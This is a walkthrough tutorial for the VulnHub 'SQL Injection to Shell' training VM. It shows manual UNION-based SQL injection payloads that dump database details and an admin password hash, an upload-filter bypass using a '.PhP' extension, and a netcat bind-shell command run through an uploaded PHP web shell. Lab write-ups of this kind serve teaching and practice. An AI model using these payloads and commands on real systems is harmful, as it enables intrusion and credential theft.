SQL Injection To Shell – Manual Injection

Hey everyone! Welcome to the SQL Injection 2 Shell tutorial. We’ll be walking through this challenge, which is available from VulnHub. Download the machine, and follow along. We’ll be using Kali 2.0 as the attacking machine, so make sure you have that set up as well.

SQLi2Shell Download

Difficulty: Beginner

Discovery and Scanning
The first thing we need to do is find the IP address of our target. We can use “netdiscover” for this.
1. In Kali, open a terminal window
2. Type in – netdiscover -r

I’ve found the IP for my target is Now let’s run a quick Nmap scan to see which ports might be open.


Looks like we have 2 ports – 22, and 80. Since we don’t have any SSH credentials, we’ll focus on TCP 80, and see what lives there.

Web App
Open IceWeasel, and browse to the site.


So it seems we have a photoblog site here. For us, this will be a web app pen-test, so the first thing we’re going to do is get a feel for the site, clicking through the links to see what’s available, and get an idea of how the site works.

The “test”, and “ruxcon” pages have a couple of pictures. The “2010” page doesn’t have anything, and the “All Pictures” page just shows everything on one page. We also have an “Admin” page with a login form, but we don’t have any info for that yet. We’ll come back to that later.

The next thing I’m going to do is look at the source code for each page, just to see if there are any comments, or any other data that could help us.

There are 2 specific things that jump out at me when looking at the source for the “test” page – the link for the picture ID’s, and the link for the “uploads” directory. That info could come into play, so make note of them.


“test” Page
When we click on the “test” page, the URL changes to “cat.php?id=1”. Let’s see if it’s vulnerable to SQLi. We’ll do the simple check of adding a single quote to the end of the URL:


Notice we get a MySQL error. That’s a good sign for us. Let’s keep working on this to see if we can extract data from the database.

SQL Injection
In this tutorial, we’re going to be performing SQL Injection manually, just so you get a feel for how it works. I think it’s better starting out, if you learn it this way. Anywho, let’s jump into it.

Number of Columns for “test”
We need to find out how many columns are being used for the “test” page. We’re going to use the “order by” statement to figure this out.

Syntax: /cat.php?id=1 order by 5–+


We get another SQL error, so we know there are fewer than 5 columns available. Keep decreasing that number until you get a valid page returned.


We only had to decrease it once, so we know there are 4 columns for this page. Now let’s see which of those columns are outputting data to the page.

Bring on the Union!
We know there are 4 columns, so we’ll use this to form our Union statement. This time, we need to negate, or void the parameter value, so I’m just going to put a minus sign in front of the number. You can also use the word “null” here. We just need to make it an invalid value.

We’re using “union select”, and giving it the number of columns we discovered from the “order by” statement.

Syntax: /cat.php?id=-1 union select 1,2,3,4–+


So, we see that column 2 is outputting information to the page. Let’s see if we can get some info about the database.

Give me some info!
We’re going to start by just getting some basic information about the database.

Database Version
Syntax: /cat.php?id=-1 union select 1,@@version,3,4–+
Version: 5.1.63-0+squeeze1

Database User
Syntax: /cat.php?id=-1 union select 1,user(),3,4–+
User: pentesterlab@localhost

Database Name
Syntax: /cat.php?id=-1 union select 1,database(),3,4–+
Name: photoblog

So, a couple of things here. We know the MySQL version is 5.x, which is good for us. It makes performing injection a bit easier. If the version was less than 5, it would make things a little more difficult.

The second thing is, the database user is not root, so it’s probably not a privileged user. That’s smart on the admin’s part, but even though it’s not a root user, we should still be able to access the information we need.

Now let’s focus on getting the data from the database.

I’m coming for you User!
Now we start to focus on getting the data we really want – user info! Our queries start to get a little longer here.

Table Names
We need to first find out what the table names are for the “photoblog” database.

Syntax: /cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tables–+

As we look down this list, the one that jumps out is the “users” table. That’s the one we’re going to focus on.

Column Names
Now we need to find out which columns are available in the “users” table.

Syntax: /cat.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name=’users’–+
Columns: id, login, password

Now we have the column names. The ones we want are “login”, and “password”.

User Data
Now let’s dump the data from these columns. Hopefully we get something good.

Syntax: /cat.php?id=-1 union select 1,group_concat(login,0x0a,password),3,4 from users–+
Account: admin: 8efe310f9ab3efeae8d410a8e0166eb2

We have the login name, and an MD5 hashed password. We’ll need to see if we can crack this, so let’s do a quick Google search, and see if it turns up anything.

In the first couple of search results, it looks like we have our password – P4ssw0rd. Perfect! Now let’s see if we can use this info to login to the Admin page.

Admin Page Login
Using these credentials, we were able to log in to the Admin page.


Remember, the goal for this challenge is to exploit the SQLi vulnerability, and gain shell access to the machine. Let’s see if there’s something on this page that can help us get shell.

Let’s look around on this page, and see what we can do. There’s the one section on the left that would let us either view the pictures, or delete them. Doesn’t seem to be much else there. Then we have the ability to upload new pictures. My first thoughts are, there might be a way to upload a PHP shell, but it depends on how the upload function is configured.

PHP Shell Upload
So, depending on how the developer configured this upload function, we may or may not be able to simply upload a PHP file. Sometimes they try to use a filter of some type to allow only certain file types to be uploaded. Let’s try it, and see what happens.

I have a very simple PHP shell to try. Here’s the code:


Create a new file on your Kali machine, and copy this code to it. Save it with a .php extension.

This code will allow us to type system commands in the URL, and have the results displayed in the browser.

1. Click on “New Picture”
2. Click on “Browse” to select the file
3. Click on “Add”

So, we get a message back saying “NO PHP!!”. That tells us there is some filtering going on, but we’ll see if we can bypass the restrictions. There are several ways you can attempt this, and like I said, it all depends on how the developer set up these filters.

The first thing we’ll try is changing the case on the extension, so instead of the file extension being .php, we’ll change it to .PhP, and try the upload again.

Looks like this one worked!


The next thing we need to do, is find out where the files are kept. We actually already have the answer to this. If you remember from earlier when we were viewing the source code of the “test” page, there was a link included – “/admin/uploads/”. To access our shell, type the URL in like this:

/admin/uploads/safe.PhP?cmd=uname -a

If it works, we should get the output in our browser window.


A Better Shell
So, we can execute certain system commands by entering them in this URL, but it’s a very tedious way to work on a machine. We need to find a way to get a more interactive shell.

I’m hoping netcat is installed on the target, and if so, we’ll try to use it to create a bind shell. There are some factors to consider when attempting a bind shell, and probably the biggest one is if the firewall will allow us to connect. We’ll see what happens.

To set up the shell, we need to run this command on the target:
/admin/uploads/safe.PhP?cmd=nc -lvnp 4445 -e /bin/bash

If this part works, when you hit enter on your browser, it should stay in the loading phase (the circle should keep spinning). If this happens, it’s a good sign for us.

Now, let’s try to connect to this shell from a terminal window in Kali.

1. Open a new terminal window
2. Connect with netcat to the target on the port you specified


Perfect! We now have a more interactive shell on the target, and can continue enumerating the machine. From this point, you would want to see if you can escalate your privileges to root, but I’m not going to cover that process here. We’ve defeated this challenge, and now have shell access to the target machine.

Hope you enjoyed! As always, BE AWESOME!